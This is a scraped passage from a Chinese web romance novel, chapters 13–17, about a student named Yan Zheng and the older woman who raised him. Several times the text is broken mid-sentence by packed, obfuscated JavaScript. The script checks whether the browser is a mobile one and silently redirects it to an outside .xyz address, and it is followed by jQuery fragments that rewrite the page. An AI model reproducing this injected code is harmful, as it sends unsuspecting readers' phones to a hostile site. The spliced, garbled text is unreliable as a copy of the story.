响了得有七八声,终于接了。 “你在哪儿?”晏铮的声音带着跑完步的喘和压不住的急。 电话那头顿了一下,“我在家,怎么了?” 晏铮舔了下干燥的嘴唇,“你是不是也到凌星童的小区了?” 他不想绕弯子,直接告诉她:“我不管你看到了什么,都不是你想的那样,纯粹是她为了赶走那个男的瞎胡闹的!” 隋心喜吸了口气,轻轻道:“你跟她的事,不用跟我解释。” “什么叫我跟她的事?”晏铮有点压不住火气了,“我跟她什么事都没有!刚才就是帮她挡一下前男友,她亲我一下也是她自己凑上来的,我根本来不及躲!真的,你信我!我一下楼就找你,找了半天了!” 隋心喜静了静,依旧坚持:“我说了我在家,你找我干嘛?没事的话,你就早点回去休息吧。” 晏铮捏着手机的手指都白了,一股焦躁夹杂着说不清的委屈冲上来。 他知道她在撒谎,可她就是不认。 他用力闭了下眼,再开口时,声音已经低了下去,听着特别可怜:“你真在家啊?那算了,我有点疼。” 隋心喜刚才强装的平静瞬间没了,透出紧张,“疼?哪儿疼?” 晏铮吸了吸鼻子,“就刚才那男的,推搡着把我撞到楼道暖气片上了,后背这块儿,现在火辣辣的。” “撞伤了?严不严重?你……你快给我看看!”隋心喜的声音彻底慌了,完全忘了自己刚才还在“家里躺着”。 电话还没挂断,晏铮就听到角落的绿化带传来了动静。紧接着,一个身影就小跑着冲了出来。 隋心喜站在几步开外,路灯的光正好打在她脸上。 她脸颊泛红,眼神慌乱地在晏铮身上扫视,明显是在找伤口的位置。 晏铮放下贴在耳边的手机,脸上那点装出来的委屈和难受,像是阳光下的薄霜,迅速化开,露出得逞后的欢喜。 隋心喜也意识到自己暴露了,脸上的红晕一路蔓延到耳朵根。 她飞快地挂断自己的电话,含糊地嘟囔:“我刚好散步路过这边……” 晏铮没戳穿这个低劣的谎言。他往前蹭了两步,侧过身对着她,手指了指自己后腰往上的位置,声音又软又低,“就这儿真疼, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16513088|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你帮我看看是不是青了?” 隋心喜原本还很心虚,可一听到他说疼,心疼立刻占了上风。 她下意识地就伸手想撩开他后腰的衣服,但手刚抬到一半,又顿住了。 她的手指不自在地蜷缩了几下,眼神瞟向他指的地方:“你先自己感觉下?严重的话,就去医院吧。” “你先帮我看看,我怕我自己看不准位置”,晏铮眉头微蹙着,像个怕打针的大男孩,“你以前,不是都会帮我处理磕碰的小伤吗?” 这话戳中了隋心喜心里最软的地方。 他读小学时,常常一个人躲在角落,不小心磕了碰了也不吭声,是她给他清理小伤口,贴创可贴。 她叹了口气,心彻底软了,那点别扭劲也散了。 她挪了一步,凑近他身后。手指捏住他衣服下摆,往上掀开一小截。 昏黄的灯光,晏铮的皮肤是健康的小麦色,肌肉绷紧着,带着年轻男孩子特有的韧劲。 她仔细看了看他指的那块地方,皮肤看起来没有明显的淤青或者破皮,颜色也和周围一样。 “好像没什么啊?”隋心喜不确定地又凑近了些,用食指按了按他的皮肤,“是这儿吗?疼不疼?” 晏铮的身体颤了一下,喉咙紧了紧,“你按着是有点酸酸的。” 隋心喜又在那片“伤处”周围按了按,指腹下的触感温热紧实,确实不像有硬伤。 她大概明白了七八分,这家伙又在装! 她放下他的衣摆,往后拉开了点距离,“没青也没肿,可能就是撞那一下有点麻,过会儿就好了。” 晏铮转过来,正对着她,有点失落地开口:“你是不是现在一点都不在意我了?” 隋心喜被他语气里的委屈和控诉击中了,“你胡说什么,我怎么会呢?” “那你还把我往外推?”路灯的光映在晏铮眼里,湿漉漉的,也不知道是真委屈还是光影效果。 “看电影那会,你让凌星童加我微信;后面我说不知道约会怎么办,你二话不说就鼓励我去;我说要你跟着指点,如此离谱的要求你居然也答应?你就那么想我跟别的女生好吗?” 他一桩桩数落出来,她被逼问得节节败退,辩解道:“我没有,我只是觉得你应该……” “应该什么?”晏铮打断她,眼神紧紧锁着她,“应该多认识女孩子?应该去谈恋爱?应该离你远点?” “不是!”隋心喜急了,“我是觉得你长大了,应该有自己的生活,应该认识同龄的好女孩,而不是总围着我转!” “我怎么就不能围着你转了?”晏铮的声音也高了起来,那份伪装的无辜小狗模样褪去了,露出底下压抑了很久的真实情绪。 “从小到大,不都是你照顾我吗?吃饭是你带我去你家,下雨天是你给我送伞,我生病是你守着我!现在你觉得我碍眼了,觉得我缠着你了,想把我推给别的女的,好甩掉我这个包袱是不是?” 隋心喜深吸了几口气,无言以对。 最后,她妥协式地摇摇头,“我知道了。以后你的私事,我不瞎掺和了。你想跟谁好就跟谁好,不想好就单着,行了吧?” 晏铮总算满意地“嗯”了一声。他看了看四周黑漆漆的环境和稀疏的灯火,“现在几点了?” 隋心喜看了眼时间:“快十一点半了。” 晏铮脸上适时地露出为难:“这个点回去,学校宿舍早锁门了。” 隋心喜看着他无处可去的模样,再看看这夜深人静的小区,拒绝的话怎么也说不出口。 况且,她刚才亲眼看到他在楼上帮凌星童,说不担心他受伤是假的。 万一真伤到里面了呢?让他一个人在外面晃荡或者去住酒店,她怎么放心? 她又重重叹了口气,感觉今晚叹气次数快赶上过去一个月了。 她对晏铮道:“走吧,先去我那儿凑合一晚。” 14. 第 14 章 隋心喜关掉闹钟,迷迷糊糊地坐起来。 她揉了揉眼睛,突然想起昨晚带了晏铮回来过夜,他睡在了客厅沙发上。 她趿拉着拖鞋走出去,发现沙发的毯子叠得整整齐齐,放在扶手上。屋子里静悄悄的,只有窗外偶尔传来的车流声。 餐桌上摆着东西。 一盘两个的金黄煎蛋,边缘焦脆,旁边一杯牛奶,还冒着热气。 盘子下面压着一张纸条,【我先回学校了,你吃了早饭再上班。晏铮】 隋心喜愣了一下。这小子还会做饭? 印象里的晏铮几乎天天来她家蹭饭,帮忙洗碗倒是经常,但从来没见他下过厨房。 她拉开椅子坐下,拿起叉子,戳了戳那个煎蛋。蛋液没有流出来,是全熟的。 她叉起一块,放进嘴里,口感还不错,比她平时自己随便煎的要好多了。 也不知道他什么时候有练过厨艺?他看起来是要被照顾的那个,但在不知不觉中,也会反过来照顾人了。 她慢慢解决了全部食物,胃里暖暖的,很舒服。 —————————— 日子一眨眼就滑到了年底,空气里都飘着加班的味道。 最近这段日子,隋心喜天天坐在办公室里,对着电脑屏幕,眼睛有点发花。 桌上的咖啡早就凉透了,旁边还堆着几个空了的速食包装袋。 项目节点压得很紧,甲方那边催命似的,他们部门的人几乎天天熬到半夜。 别说好好做饭了,能按时吃上口热乎的都算奢侈。午饭经常是扒拉几口外卖,晚饭大多数时候直接跳过,等下班回家,在路边摊随便买点填肚子。 这天傍晚,隋心喜正被一个数据报表搞得头昏脑涨,晏铮的电话就过来了。 “你在干什么,吃饭了没?” 隋心喜苦笑了一下,眼睛没有离开过屏幕,“这才几点,午饭刚对付完一会儿呢。” “都快六点了”,晏铮皱了眉头,“你这几天是不是又天天加班不吃饭?” “忙啊,没办法”,隋心喜叹了口气,揉了揉发胀的太阳穴,“年底都是凑合垫两口,等晚上回去再说了。” 她看了一眼桌上的酸辣粉桶,那是她准备用来当晚饭的。可一想到那油腻腻的红油,胃里就一阵不舒服。 电话那头沉默了几秒,晏铮的声音又响起来,“你天天这么吃,胃能受得了?明天下午我刚好要去办点事,就在你的出租屋附近。你今晚回去,把你那儿的备用钥匙藏在门口地毯下面。” 隋心喜敲键盘的手指顿住了,“这是要干什么?” “明天我过去的时候,顺道买菜上去,给你做顿饭。你晚上回去热一下就能吃,省得你吃外卖难受”,他顿了顿,又补了一句,“做完我就走,不耽误你工作。” 隋心喜彻底停下了手上的活儿。她往后靠在椅背上,想起那天早晨煎得很好的蛋。 那新鲜的味道,确实比装在塑料盒里油汪汪闷了一路的东西强多了。 而这段时间,她的胃也发出了抗议,快餐吃下去总觉得沉甸甸不消化,有时候半夜还会隐隐作痛。 要是能回去吃顿家里做的饭,那可太棒了! 她忙不迭地答应了晏铮的提议,“那就麻烦你了。” 晏铮笑了笑,又叮嘱她现在要吃点东西垫垫,别硬扛着。 “嗯嗯,挂了”,隋心喜按掉电话,长长地舒了口气。她重新看向屏幕,密密麻麻的数字好像也没那么面目可憎了。 —————————— 公司走廊尽头的窗户开着条缝,冬天的风带着冷意溜进来,吹在隋心喜发烫的后颈上,她感觉稍微舒服了点。 她正活动着肩颈,晏铮的电话又来了。 不过,他今天的背景音有点嘈杂,像是很多人挤在一个空间里说话。 隋心喜:“你刚下课吗?” 晏铮:“没有,跟你说一声,今天的晚饭你得自己解决,我就不上你那儿了。” 过去这一个多月,晏铮几乎天天都来隋心喜家,做好了饭搁锅里温着,她下班回来就能吃上口热乎省心的。 现在一听他不来,她心里就像少了个固定打卡的点儿。 听她不吭声,晏铮耐心解释:“今天市里面有个人工智能大赛,我们学校组了个队,我是队长,得去现场。” 隋心喜恍然大悟地“哦”了一声,笑容涌了出来,“你好厉害,那你快去备战,不用管我。你这阵子可帮了我大忙,每天的热饭简直是救命稻草,我这胃都得给你记一大功!” “我这苦日子也总算到头了,今天最后一天加班,通宵也得把这破项目尾巴扫掉。明天我就解放了!” 她说到项目结束的事,语调都扬了起来,“所以啊,你也别惦记着了,该忙你的忙你的,好好享受大学生活。老是往我这里跑,实在太占用你时间了!” 这下轮到晏铮那边安静下来了。隋心喜等了一下,没听见回音,连着喂了几声,“晏铮,你听得到我说话吗?” “听到”,晏铮回过神来,“不麻烦,顺手的事。要是今天比赛结束得早,我这边没啥事了,再上去找你?” 隋心喜脱口而出道:“行啊,你想来就来,反正你知道钥匙在哪儿。不过我今晚肯定得熬挺晚,你来了我估计也没空跟你说话,别嫌我这儿无聊就行。” —————————— 比赛的结果出来了,江市大学代表队以断崖式的领先分数,获得了比赛第一名。 颁奖结束后,时针已经跳到了凌晨零点。 晏铮站在比赛场馆的门口,掏出手机就想给隋心喜分享这份喜悦。 队友却不知道这些。一人过来兴奋地拍了拍他的肩膀,“铮哥,牛啊!走走走,吃烧烤去!必须庆祝,不醉不归!” 晏铮挤出点笑,摆摆手:“不吃了,你们去吧,我有点事。” “啊?这么晚了还有啥事,嫂子查岗啊?”另一个队友凑过来开玩笑。 “不是,你们好好玩,账算我的”,晏铮把刚拿到的装着奖金的信封朝队友手里一塞,“我真得走了。” “啧,行吧行吧!大功臣有特权!”队友们嘻嘻哈哈地收了钱,也没再强求,簇拥着商 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16528335|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 量去哪儿吃。 晏铮没等他们商量完,已经快步走到路边,伸手拦车。 车里暖气开得足,窗户很快蒙上一层白雾。 晏铮靠在后座,奖杯和证书就放在旁边的座位上,硬质的棱角抵着他的腿。 他拿了第一名,脑子里应该被兴奋填满,可此刻依旧空落落的。 今天隋心喜和他说,项目完成后,大家都得回归正常生活,也叫他不用经常上来了。 以后他想多见见她,恐怕也不容易。 所以即使现在已是凌晨,他都迫切地想见她一面。 哪怕她睡着了,他见她一面就走。 车子在小区门口停下,晏铮付了钱,抱着奖杯证书下车。 小区里路灯昏黄,安静得能听见自己的脚步声。 他走到熟悉的单元楼下,抬头望了望五楼那个窗户,漆黑一片。 他上了楼,熟门熟路地摸出钥匙开门,借着楼道一点微弱的光线,居然看到隋心喜歪在沙发上睡着了。 她的呼吸很沉,显然是加班回来累到极点,连回房间爬上床的力气都没了。 他看着她眼下淡淡的青黑色,心口堵得有点慌。 他屏住呼吸,弯下腰,一只手臂绕过她后背搁在肩胛骨下面,另一只穿过她腿弯。 她的身体比他想象的还要轻软一些,陷在沙发里有点不好着力。 他用了点劲,小心地把她整个人托抱起来。 隋心喜的身体一僵,晏铮以为她醒了,心脏也跟着停跳了一拍。 可她只是在他怀里蹭了一下,脑袋靠在他肩窝的位置,呼吸重新变得绵长平稳。 晏铮松了口气,又觉得怀里温软的身体贴着自己,隔着卫衣也能感受到她的心跳。 一股暖流混着酸涩涌上心头,他将她抱得更紧。 他没开卧室灯,借着窗外透进来的月光,抱着她走到床边。 她的床铺得很整齐,被子也铺开了。 他把她轻轻放下,她一沾到枕头,就侧过身蜷缩起来,整个人埋进松软的被褥里。 晏铮站在床边,黑暗很好地掩盖了他此刻的神情。 他看着床上缩成一团的身影,在赛场上沉着冷静、思路清晰的大脑,这会儿好像有点不听使唤。 在车上就有的失落感,此刻在安静的室内被无限放大。 鬼使神差地,他弯下了腰。 他靠得她很近,近到能看清她睫毛在脸颊上投下的小片阴影,能闻到她头发上淡淡的洗发水味道,混杂着她本身让人安心的暖意。 一种强烈的冲动盖过了所有,理智像根绷紧的弦,啪地断了。 他的嘴唇,迅速地在她的脸颊上贴了一下。 那柔软的触感一碰即离,快得就像个错觉。 他做贼一样地直起身,盯着床上的人影。 隋心喜一动不动,似乎睡得正沉。 还好,还好没醒…… 晏铮心里那根弦松了半分,但他知道,自己不能再待下去了,一秒都不行。 他几乎是逃也似的,离开了隋心喜的出租屋。 15. 第 15 章 在门锁合上的瞬间,床上蜷缩身影的眼睛,倏地睁开了。 隋心喜的眼里没有半分睡意,只有一片惊涛骇浪后的震惊。 其实,早在晏铮把她从沙发上抱起来的那一刻,她就醒了。 当时,她的身体骤然悬空,浑身又被那股熟悉的气息包裹住,意识就像沉船被打捞上岸,浮出了黑暗的海面。 她的脑子还有点迷糊,但身体已经先一步僵住了。 她没敢再动,也没敢睁眼。当被他放在床上的时候,她甚至配合着调整了一下姿势,让自己显得更像是熟睡中被搬动。 她能感觉到他没立刻走,沉甸甸的视线落在自己身上。 再然后,就是他吻过来的那一下,她的脑子里轰然炸开了一道惊雷。 巨大的羞耻感席卷而上,脸上被亲吻过的那一小块皮肤像火烧一样烫。 她用尽了全部的意志力,才压抑住想尖叫或者跳起来的冲动。 晏铮是疯了吗?他到底在干什么? 直到外面彻底安静下来,静得只能听见自己擂鼓般的心跳声,隋心喜才猛地从床上坐了起来。 她喘着气,颤抖地碰了碰刚才被亲到的地方,混乱的思绪像一团乱麻。 晏铮这是……喜欢她? 他对她,是那种男人对女人的喜欢吗? 可是,怎么可能? 隋心喜手指插进头发里,用力抓了几下,下意识地摇摇头。 在她心里,他一直都是需要她保护的弟弟。 依赖?对,一定是依赖! 晏铮失去父母的时候太小了,在最无助的时候,是她和她的家人给了他依靠。 这么多年,他习惯了依赖她,习惯了对她好。 这种依赖太深了,深到他可能自己都分不清,混淆了依赖和真正的喜欢。 他太年轻了,才二十一。 他见过的世界还太小,接触过的异性都没几个。 他只是一时冲动,把长久以来积累的亲近,错误地当成了男女之间的喜欢。 就像雏鸟情结。 一想到这个可能,隋心喜的心却又酸涩起来,还带着尖锐的疼。 她不是对他没感觉。 怎么可能没感觉? 这么好的一个男孩子,阳光帅气,聪明上进,还对她那样好。 她看着他从少年长成青年,看着他一点点变得优秀,那份情愫早就悄悄变了质。 可她不敢想以后。 身份的鸿沟横亘在那里,她是看着他长大的姐姐啊! 这份关系太亲密了,也太脆弱了。 万一他真的只是一时迷惑呢?万一他以后遇到了真正心动的人,或者清醒过来,发觉那不是爱呢? 那他们之间怎么办?这段比亲人还亲的关系怎么办? 想到那种可能失去的冰冷,隋心喜就觉得喘不过气。 她宁愿像现在这样,守着这份姐弟关系,看着他平安喜乐,看着他恋爱成家,也不想冒一点失去他的风险。 刚才那个吻,就像是一个危险的信号,把她一直刻意压抑的东西引爆了。 她深知不能再这样下去了。她不能给他任何错误的暗示,不能让他在这条“歧路”上越走越远。 她也不能再放任自己沉溺在他给的温暖和心动里了。她得拉开距离。 说不定晏铮有了冷静的时间和空间,自己也能想清楚这份感情呢? —————————— 下午四点,晏铮把手机屏幕按亮,对话框的最后一条信息,还是他中午发的,【我下午没课,可以睡大觉。你中午吃的啥?】 隋心喜没有回复,他感觉不太对路。 他向上翻着两人的对话,昨天的早上问好,她下午才回了个【忙,刚开完会】;前天晚上分享的一个搞笑视频链接,她到现在都没搭理;大前天他问周末有空没,她隔了半天回【项目收尾,不确定】。 以前不是这样的。 他发个【在?】,她就算在开会,也会抽空回个【忙,晚点说】;他分享个什么东西,她看到了总会回几句,哪怕只是几个表情包。 更别提他每天雷打不动问吃饭没的那条信息,她再怎么忙,也会抽空回一句【吃了】或者【还没,饿死】。 事情是什么时候不一样了呢? 似乎就是他夺冠的那天晚上。 他把她抱回床上,她闭着眼睛的样子特别安静。他没忍住,低头亲了一下。他以为她睡得很沉。 现在想想,可能不是。 晏铮心里咯噔一下,所以,她是因为这个事情躲着自己了? 他烦躁地把手机扔到旁边的篮球上,发出闷闷的一声响。 他试图说服自己,也许她就是太忙了,年底嘛,忙得脚不沾地。 可是,心底那股被推开的感觉,越来越清晰,像水渍一样慢慢洇开。 这种感觉很陌生,也很讨厌。 他习惯了隋心喜的存在,习惯了她的回应,习惯了那个小小的聊天框是他随时可以停靠的港湾。 现在这个港湾把他晾在外面了。 这股烦躁在身体里横冲直撞,得找个地方发泄。他抓起篮球,换上球鞋,砰地关上门就冲向了球场。 现在的太阳还有点晒,球场地面蒸腾着一股热气。 晏铮一个人占了个半场,闷着头运球、投篮。球砸在篮筐上,哐哐作响,弹得老远。 他跑过去捡回来,又投。再捡,再投。汗水很快淌下来,流进眼睛里有点刺痛。他用力抹了一把脸,动作有点凶狠。 “嘿,晏铮!一个人玩呢,加一个?”同班的王浩路过,抱着球看他。 晏铮没停,一个胯下运球,猛地加速冲到篮下,高高跳起,把球狠狠砸进篮筐。 他捡起球,声音有点喘,“不了,我自个儿练会。” 王浩看他汗水下的表情绷得紧紧的,没再坚持,转身找别人去了。 晏铮继续运球、突破、上篮。 他跑了不知道多久,腿开始发沉,呼吸也带着灼烧感,但内心空落落的感觉还在,就像一个填不满的窟窿。 篮球也解决不了问题。他停下来,撑着膝盖喘气,汗水滴在地面上,很快蒸发不见了。 他回去宿舍洗了个澡,还是没忍住,给隋心喜打了电话。 不出所料的,铃声响了很久,直到变成忙音,她都没接。 晏铮的眼神一点点沉下去,一股被抛弃了的感觉涌了上来。 他抓起外套,直接叫了个车去隋心喜工作的地方。 他走到大楼对面,找了个不显眼的角落站着。他看着大楼出口,不断有人走出来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他语气有点冲,随即又想起了什么,努力压下急躁,带上他惯常在隋心喜面前的乖巧语调,“姐,我知道你累。我就是担心你不好好吃饭。你看,我这不有空嘛,给你做饭又不费事。” 他放开了她的手腕,哄劝道:“要不你还是把钥匙给我吧,你每天晚上回来都有饭吃,多好。” 隋心喜看着晏铮熟练的伪装,心里揪得生疼。 就是这副样子,让她心软了那么多年。可现在,她要强迫自己硬起心肠。 她咬了咬唇,话语中带着明显的距离感,“晏铮,我比你大整整七年。我不是小孩子了,生活能自理。我觉得让你这个比我小了这么多的弟弟,天天跑来给我做饭,我很丢脸。真的不用了!” 晏铮那点强装出来的笑意僵住了,眼神也从期待成了愕然。 隋心喜不忍再看他,继续道:“你以后也别特意过来了,钥匙我不会再放门口,谢谢你之前一直照顾我。没什么事的话,你先回学校吧,很晚了。” 说完,她没有再给晏铮任何开口的机会,转身就走。 晏铮僵在原地,眼睁睁看着她越走越远,拐过前面的路口,消失在视野里。 他闭了闭眼睛,感觉整个人比球场上跑得脱力还要难受一百倍。 16. 第 16 章 储嘉骐推开工业园南的一家酒吧门。在昏暗迷离的灯光里,他很快锁定了那个趴在吧台上的身影。 心里憋了好几天的郁气又沉了几分。他快步过去,用力拍了拍晏铮的后背,“你喝够了没?” 晏铮费力地抬起沉重的头颅,眼神涣散地聚焦了好一会,才认出眼前的人。 他扯出一个带着醉意的笑容,胡乱地拍着旁边空着的吧凳:“你怎么来了?坐啊。” 储嘉骐目光像探照灯一样,直接打在晏铮那张写满颓唐的脸上。 平日里神采飞扬的双眼,此刻眼眶通红,眼神空洞得像丢了魂。 储嘉骐无奈地叹了口气,“你看看你现在的样子!你告诉我,这情况,你打算持续到什么时候?” 晏铮盯着吧台上凝结的水珠,手指无意识地抠着台面边缘,嘴唇抿得死死的。沉默,是他唯一的回应。 储嘉骐很烦晏铮这个样子。 当初那个在项目攻坚期三天三夜不睡觉、眼神发亮跟他争论方案的狠劲儿去哪了? 那个敏锐果断、让他愿意押上真金白银合伙创业的年轻人,就因为一个女人对他冷淡了些,就把自己彻底变成了一个逃避现实的醉鬼? 储嘉骐有点失望了,问:“所以公司那边,你打算彻底放手了是吗?就因为隋心喜,你就要让整个维恒跟着你一起沉船?让所有人的努力都白费?” 他脑子里闪过前几天会议室里的场景。 那个至关重要的项目,临门一脚的关键节点,本该由晏铮主导的技术把关。 可是,他拖着一身颓废气息,像个局外人一样坐在会议室里,汇报时前言不搭后语,连最基础的数据都含糊不清。 对方负责人当场拂袖而去,前期投入的几百万资源、几个月的努力,瞬间化为泡影。 然后这几天,他电话不接,信息不回,对公司事务完全不上心。储嘉骐独自处理着各种烂摊子,焦头烂额。 现在,储嘉骐看着眼前这个像被抽掉了脊椎骨一样的合伙人,他很愤怒,但更多的是恨铁不成钢。 他再度逼问晏铮,“你看着我回答,维恒,你还要不要了?” 晏铮撑着头,嘴唇嗫嚅了几下,喉咙里发出破碎的音节,最终还是放弃了。他脑袋沉重地往下一点,又要往吧台上栽。 储嘉骐的耐心消失了。 看来,温和的劝诫和责任的提醒,对这个陷在情绪泥沼里的年轻人已经不起作用。 他需要的不是安慰,而是一剂猛药,哪怕这药会让他疼痛不堪。 储嘉骐掏出手机,在屏幕上滑动几下,点开一张照片——这是这几天他雇私家侦探跟着隋心喜拍到的成果。 照片的背景是机场出口,主角之一是隋心喜,她穿了一身雪白大衣,头发挽了起来。 男主角则是一个西装革履、气质儒雅的高大男人。 照片捕捉的瞬间,是那个男人张开手臂,而隋心喜正姿态放松地与他相拥。 私家侦探的资料很详尽:郑文韬,隋心喜大学学长,海外归来,精英人士。 这个拥抱,是郑文韬走出机场时,主动向隋心喜索要的欢迎仪式。 后面两人还一起共进晚餐,交谈甚欢,气氛融洽。 储嘉骐当时看到这些照片,直接气笑了。 晏铮在这边要死要活,把自己搞垮了,把公司快搞垮了,人家隋心喜却在和风度翩翩的学长烛光晚餐。 这不就是最好的证据吗?证明晏铮这小子完全是一厢情愿。两人年纪差那么多,隋心喜估计就把他当个不懂事的弟弟。现在正主回来了,晏铮就成了彻头彻尾的笑话! 储嘉骐打算用这些照片,把晏铮最后的念想彻底碾碎。 让他哭也好,让他闹也好,让他彻底明白自己多傻逼也好。 总之,必须赶紧醒过来,然后滚回公司做该做的事情! 储嘉骐将屏幕对着晏铮低垂的视线范围,“你给我抬起头来,好好看看!” 晏铮开始根本没焦距。酒精让他的视线一片模糊,只觉得眼前有块很亮的光斑在晃。 储嘉骐的声音像隔着一层厚厚的棉花钻进耳朵里,嗡嗡的,听不真切。他只觉得烦,想摆脱那刺眼的光和烦人的声音,想继续沉在那片能让他暂时忘记一切的黑暗里。 但那光斑固执地贴在他眼前。 他只能眯起眼,试图把那刺眼的东西看清。 十几秒后,他睁大了眼睛,脸上的醉态如同潮水般褪去。 他大力攥住储嘉骐的手腕,声音嘶哑得如同砂砾摩擦,“什么时候的照片?” 储嘉骐告诉他已经掌握的信息,末了,又补充道:“这就是你日思夜想的女人,这就是你为了她喝成死狗、连公司都不要了的女人!她都快活成什么样子了,你还不死心?还不认清事实?” 出乎储嘉骐的意料,晏铮没有崩溃绝望,反而像打了鸡血,直接从高脚凳上站起,摇摇晃晃地就走。 储嘉骐急了,对着晏铮的背影大喊,“等等,你他妈要去哪儿?你给我站住,听见没有,你给我回来!” 可晏铮置若罔闻。 回应储嘉骐的,只有一个推开酒吧大门的身影,以及外面街道涌入的夜风。 储嘉骐狠狠一脚踹在旁边的吧台凳上,凳子哐当一声翻倒在地。 这些本以为能彻底斩断孽缘的照片,怎么成了给晏铮点火的引信了?这小子到底什么脑回路? —————————— 车轮碾过小区减速带,郑文韬的黑色轿车,停在了隋心喜住的单元楼下。 “到了”,郑文韬侧过脸,笑容温和。车内的顶灯映着他打理整齐的头发和熨帖的衬衫领子。 隋心喜解开安全带,揉了揉发酸的太阳穴,长长舒了口气。加班到这个点,骨头缝里都透着累。 她对着郑文韬感激地笑笑:“谢谢你啊,还特意送我回来,耽误你时间了。” “哪里的话,那么多年的老同学了,能多见一面不容易啊”,郑文韬摆摆手,“你上去歇着吧。” “嗯嗯,你也快回去,路上小心”,隋心喜推开车门。 郑文韬看着隋心喜就要走进单元楼的身影,喊了她一声。 他从车里探出头来,建议道:“明天周末不用上班,现在时间还早,要不我上去坐坐?好久没见了,再聊会儿。” 隋心喜转过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543325|185851||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身子,拒绝的话还没出口,就瞥见一个身影,从单元门旁的暗处走了出来。 晏铮今天穿着件深色的连帽卫衣,帽子扣在头上,大半张脸掩在阴影里,只露出紧抿的唇线和线条清晰的下颌。 他插着兜,目光沉沉地越过隋心喜,落在驾驶座的郑文韬身上。 隋心喜心里咯噔一下,问:“你怎么在这儿?” 郑文韬也下了车,他对着晏铮友好笑笑,“这位是?” 隋心喜“哦”了一声,赶紧介绍,“这是我弟弟晏铮。晏铮,这是我大学学长郑文韬,刚从国外回来。” 郑文韬仔细打量了晏铮几眼,恍然大悟道:“我想起来了,心喜读大学那会儿,有次我去你们城市玩,在你家见过的。那会儿你才刚上初三吧?小不点儿一个,一转眼这么大了。” 听着郑文韬那长辈评价晚辈的话语,晏铮的嘴角几不可察地向下撇了撇。但很快,他抬起手,把卫衣的帽子往后掀开,露出了完整的脸。 他对着郑文韬的方向,微微点头,“你好。” 隋心喜感觉到了气氛有点微妙的僵硬,她只想赶紧结束这尴尬的碰面。 她双手习惯性地往风衣口袋一摸,却是空的。 “糟了学长”,她低呼一声,“我手机不知道是不是没拿,还是落你车上了?” 说着,她也顾不上别的,弯腰探进副驾驶位去找,身影被车门挡住大半。 就在这一刻,站在车外的晏铮,脸上敷衍的平和消失得无影无踪,他看向郑文韬的眼神,充满了毫不掩饰的警告和挑衅。 那是雄性动物圈定领地时才会有的眼神,锋利、独占,带着强烈的压迫感。 郑文韬正巧抬眼,脸上的笑容僵住了—— 眼前的年轻人,哪还有半分刚才隋心喜口中“弟弟”的温顺模样? “找到了!”隋心喜从座椅缝隙里摸出了自己的手机,松了口气直起身,“幸好是掉这儿了。” 她关上副驾的门,再次面对郑文韬:“麻烦你了。” 郑文韬回过神,赶紧把刚才的惊愕压下去,“小事,那……上去吧。” 隋心喜犹豫了一下,故意转向晏铮,问:“你是不是有什么东西落我这儿了?上来拿吧。” 晏铮立刻明白了隋心喜的意图。 他连声说是,很自然地朝隋心喜身边挪了几步,近得都要挨着她肩膀了。 郑文韬脸上的笑容彻底挂不住了,他看着眼前这对“姐弟”,饶是他再迟钝,也感觉到了无形的壁垒和不欢迎的气息。 他扯了扯嘴角:“行,那你们先忙。心喜,改天有空再约。” “好的学长,今天真谢谢你了,慢点开”,隋心喜连忙挥手告别,语气带着如释重负。 轿车缓缓驶离,尾灯在夜色里划出两道红色的光痕,很快消失了。 隋心喜脸上的笑意淡了下去,有点烦躁又有点心虚。她没看晏铮,掏出钥匙,径直上楼。 晏铮保持在她身后一米远的地方,也跟着她走。 隋心喜打开自家的门,刚要伸手去摸墙壁上的开关,一只手臂猛地从她身后伸过来,带着不容抗拒的力量,将她按在了门板上。 17. 第 17 章 浓稠的黑暗里,隋心喜被晏铮圈禁在门板和胸膛之间。 他沉重的呼吸带着灼人的酒味,紊乱地喷在她的额头上。 隋心喜懵了一瞬,随即又惊又怒。 她的双手抵在他胸膛上,掌心下是带着蓬勃生命力的肌肉。她用尽力气往外推,他却纹丝不动。 她呵斥着:“你干什么?你喝了多少酒?你先放开我!” 她皱着眉,加重了推搡的力道,指甲甚至隔着衣服掐进了他手臂的肌肉里。 可晏铮像感觉不到疼,反而因为她不断的抗拒,身体压得更低了些。 两人之间几乎没了空隙。 